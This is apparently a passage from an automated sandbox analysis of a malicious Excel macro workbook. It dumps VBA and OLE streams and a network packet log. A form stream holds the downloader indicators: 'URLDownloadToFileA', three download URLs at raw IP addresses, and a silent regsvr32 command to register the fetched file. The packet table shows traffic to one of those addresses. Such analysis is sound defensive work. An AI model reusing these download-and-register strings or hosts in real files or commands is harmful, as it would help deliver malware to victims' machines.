    ActiveSheet.Shapes("Button_Help").Visible = True
    ActiveSheet.Shapes("Button_Versions").Visible = True
    Sheets("Logos").Protect Password:=Sheets("Dashboard").Range("IV1"), DrawingObjects:=True, Contents:=True, Scenarios:=True

Else

    Sheets("Dashboard").Activate
    Sheets("Dashboard").Unprotect Password:=Sheets("Dashboard").Range("IV1")
    ActiveSheet.Shapes("Apple_Logo").Visible = True
    ActiveSheet.Shapes("Win_Logo").Visible = False
    ActiveSheet.Shapes("Button_Insert_Logo").Visible = False
    ActiveSheet.Shapes("Button_Print_PDF").Visible = False
    ActiveSheet.Shapes("Button_Save_As").Visible = False
    Sheets("Dashboard").Protect Password:=Sheets("Dashboard").Range("IV1"), DrawingObjects:=True, Contents:=True, Scenarios:=True

End If

    Application.ScreenUpdating = True

End Sub


Private Sub asWorkbook_Activateas()

End Sub

Private Sub saWorkbook_Opensa()
    On Error Resume Next


End Sub

Private Sub ssaaInitWorkbookssaa()
End Sub

VBA File Name: UserForm2, Stream Size: 1182

General
Stream Path:	_VBA_PROJECT_CUR/VBA/UserForm2
VBA File Name:	UserForm2
Stream Size:	1182
Data ASCII:	. . . . . . . . . V . . . . . . . L . . . . . . . ] . . . . . . . . . . . . . . . . . . J . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 56 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 5d 03 00 00 b1 03 00 00 00 00 00 00 01 00 00 00 fb 18 b2 4a 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{86A322E3-3EAA-43BD-A15C-2E5BDAB20ADE}{6DC45358-AAC1-427A-8A44-4B339D5A54C8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 108

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	108
Entropy:	4.18849998853
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . M i c r o s o f t E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 1e 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	244
Entropy:	2.65175227267
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 208

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	208
Entropy:	3.33231709703
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T e s t . . . . . . . . . . . . T e s t . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . x s . . . . . @ . . . . . r . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 101931

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	101931
Entropy:	7.65144710562
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T e s t B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V q % 8 . . . . . . . X . @
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 04 00 00 54 65 73 74 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 704

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	704
Entropy:	5.29068090087
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 - 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4 F } . . M o d u l e = M o d u l e 5 . . B a s e C l a s s = U s e r F o r m 2 . . M o d u l e = M o d u l e 1 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 50 61 63 6b 61 67 65 3d 7b 41 43 39 46 32 46 39 30 2d 45 38 37

Stream Path: _VBA_PROJECT_CUR/PROJECTlk, File Type: dBase IV DBT, blocks size 0, block length 17920, next free block index 65537, Stream Size: 30

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTlk
File Type:	dBase IV DBT, blocks size 0, block length 17920, next free block index 65537
Stream Size:	30
Entropy:	1.37215976263
Base64 Encoded:	False
Data ASCII:	. . . . . . " E . . . . . . . . . . . . . F . . . . . . . .
Data Raw:	01 00 01 00 00 00 22 45 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 140

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	140
Entropy:	3.43277227638
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . M o d u l e 5 . M . o . d . u . l . e . 5 . . . U s e r F o r m 2 . U . s . e . r . F . o . r . m . 2 . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 4d 6f 64 75 6c 65 35 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 35 00 00 00 55 73 65 72 46 6f 72 6d 32 00 55 00 73 00 65 00 72 00 46 00 6f 00 72 00 6d 00 32 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00

Stream Path: _VBA_PROJECT_CUR/UserForm2/\x1CompObj, File Type: data, Stream Size: 97

General
Stream Path:	_VBA_PROJECT_CUR/UserForm2/\x1CompObj
File Type:	data
Stream Size:	97
Entropy:	3.61064918306
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/UserForm2/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 302

General
Stream Path:	_VBA_PROJECT_CUR/UserForm2/\x3VBFrame
File Type:	ASCII text, with CRLF line terminators
Stream Size:	302
Entropy:	4.66028783691
Base64 Encoded:	True
Data ASCII:	V E R S I O N 5 . 0 0 . . B e g i n { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 5 7 4 A 4 F } U s e r F o r m 2 . . C a p t i o n = " U R L D o w n l o a d T o F i l e A " . . C l i e n t H e i g h t = 3 0 1 5 . . C l i e n t L e f t = 1 2 0 . . C l i e n t T o p = 4 6 5 . . C l i e n t W i d t h = 4 5 6 0 . . S t a r t U p P o s i t i o n = 1
Data Raw:	56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 73 65 72 46 6f 72 6d 32 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 3d 20 20 20 22 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69

Stream Path: _VBA_PROJECT_CUR/UserForm2/f, File Type: data, Stream Size: 283

General
Stream Path:	_VBA_PROJECT_CUR/UserForm2/f
File Type:	data
Stream Size:	283
Entropy:	3.66259370036
Base64 Encoded:	False
Data ASCII:	. . ( . H . . . . . . . . @ . . . . . . . . . . . } . . k . . . . . . . . . . . . . . . . R . . . . . . . . . . . K . Q . . . . . . D B . . . T a h o m a . . . . . . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . H . . . . . . . L a b e l 1 5 . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . D . . . . . . . L a b e l 3 . . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . H . . . . . . . L a b e l 4 t . . . . . . . . . . . ( . . . . . . . . . . . . . 2 . . . P . . . . . . . L a b e l
Data Raw:	00 04 28 00 48 0c 10 0c 0b 00 00 00 04 40 00 00 ff ff 00 00 12 00 00 00 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 03 52 e3 0b 91 8f ce 11 9d e3 00 aa 00 4b b8 51 01 cc 00 00 90 01 44 42 01 00 06 54 61 68 6f 6d 61 00 00 04 00 00 00 b4 00 00 00 00 84 01 00 00 00 28 00 f5 01 00 00 06 00 00 80 07 00 00 00 32 00 00 00 48 00 00 00 00 00 15 00 4c 61 62 65 6c 31 35 00 d4

Stream Path: _VBA_PROJECT_CUR/UserForm2/o, File Type: data, Stream Size: 292

General
Stream Path:	_VBA_PROJECT_CUR/UserForm2/o
File Type:	data
Stream Size:	292
Entropy:	3.97404939222
Base64 Encoded:	True
Data ASCII:	. . ( . ( . . . . . . . h t t p : / / 1 9 0 . 1 4 . 3 7 . 1 6 5 / . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . $ . ( . . . . . . . h t t p : / / 5 . 1 9 6 . 2 4 7 . 1 1 / . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . ( . ( . . . . . . . h t t p : / / 1 8 8 . 1 1 9 . 1 1 3 . 3 / . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . T a h o m a . . . . 0 . ( . . . . . . . r e g s v r 3 2 - s i l e n t . . \\ C e l o d . w a c . . .
Data Raw:	00 02 28 00 28 00 00 00 15 00 00 80 68 74 74 70 3a 2f 2f 31 39 30 2e 31 34 2e 33 37 2e 31 36 35 2f 01 00 00 00 00 00 00 00 00 00 00 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00 cc 02 00 00 54 61 68 6f 6d 61 00 00 00 02 24 00 28 00 00 00 14 00 00 80 68 74 74 70 3a 2f 2f 35 2e 31 39 36 2e 32 34 37 2e 31 31 2f 00 00 00 00 00 00 00 00 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 4544

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	4544
Entropy:	4.47759533359
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b5 00 00 03 00 ff 19 04 00 00 09 04 00 00 e3 04 03 00 00 00 00 00 00 00 00 00 01 00 06 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 2514

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	2514
Entropy:	3.52144078534
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ P . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . < . . . ] . . N
Data Raw:	93 4b 2a b5 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 04 00 00 00 00 00 01 00 02 00 04 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 00 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 146

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	146
Entropy:	1.48909835582
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 11 00 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 213

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	213
Entropy:	1.85324367791
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 10 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 0c 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 206

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	206
Entropy:	1.75287863305
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . q . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00 00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 1075

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	data
Stream Size:	1075
Entropy:	6.6867836299
Base64 Encoded:	True
Data ASCII:	. / . . . . . . . . . . 0 . J . . . . H . . H . . . . . . H . . . d . . . . . . . . V B A P r @ o j e c t . . . . T . @ . . . . . = . . . + . r . . . . . . . . . . . R c . . . . J < . . . . . . 9 s t d o l . e > . . s . t . d . . o . l . e . . . . h . % ^ . . * \\ G . { 0 0 0 2 0 4 3 . 0 - . . . . C . . . . . . . 0 0 4 6 } # 2 . . 0 # 0 # C : \\ W . i n d o w s \\ S . y s t e m 3 2 \\ . . e 2 . t l b # O . L E A u t o m . a t i o n . 0 . . . E O f f i c . E O . . f . . i . c . E . . . . . . . . E 2 D F 8 D
Data Raw:	01 2f b4 80 01 00 04 00 00 00 03 00 30 aa 4a 02 90 02 00 48 02 02 48 09 00 c0 12 14 06 48 03 00 01 64 e3 04 04 04 00 0a 00 84 56 42 41 50 72 40 6f 6a 65 63 74 05 00 1a 00 54 00 40 02 0a 06 02 0a 3d 02 0a 07 2b 02 72 01 14 08 06 12 09 02 12 bd 98 a0 52 63 01 00 0c 02 4a 3c 02 0a 04 16 00 01 39 73 74 64 6f 6c 04 65 3e 02 19 73 00 74 00 64 00 00 6f 00 6c 00 65 00 0d 14 00 68 00 25 5e

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2021 17:00:17.711538076 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:17.893002987 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:17.893132925 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:17.899703026 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:18.083281040 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908134937 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908160925 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908174992 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908188105 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908200026 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908211946 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908225060 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908243895 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908272982 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908288002 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:18.908492088 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:18.919056892 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.089967012 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.089991093 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090004921 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090020895 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090044975 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090068102 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090087891 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090105057 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090121984 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090141058 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090159893 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090171099 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090183020 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090199947 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090213060 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090296984 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.090296984 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.090323925 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.090327024 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.090328932 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.090332031 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.090399981 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.093123913 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.110763073 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.110812902 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.110827923 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.110842943 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.111052036 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.271756887 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271801949 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271819115 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271840096 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271862030 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271883965 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271905899 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271927118 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271949053 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271971941 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.271994114 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272012949 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272027969 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272051096 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272073030 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272094965 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272116899 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272140026 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272161961 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:00:19.272291899 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272325039 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272330046 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272332907 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272336960 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272339106 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272341967 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:00:19.272346020 CEST	49165	80	192.168.2.22	190.14.37.165
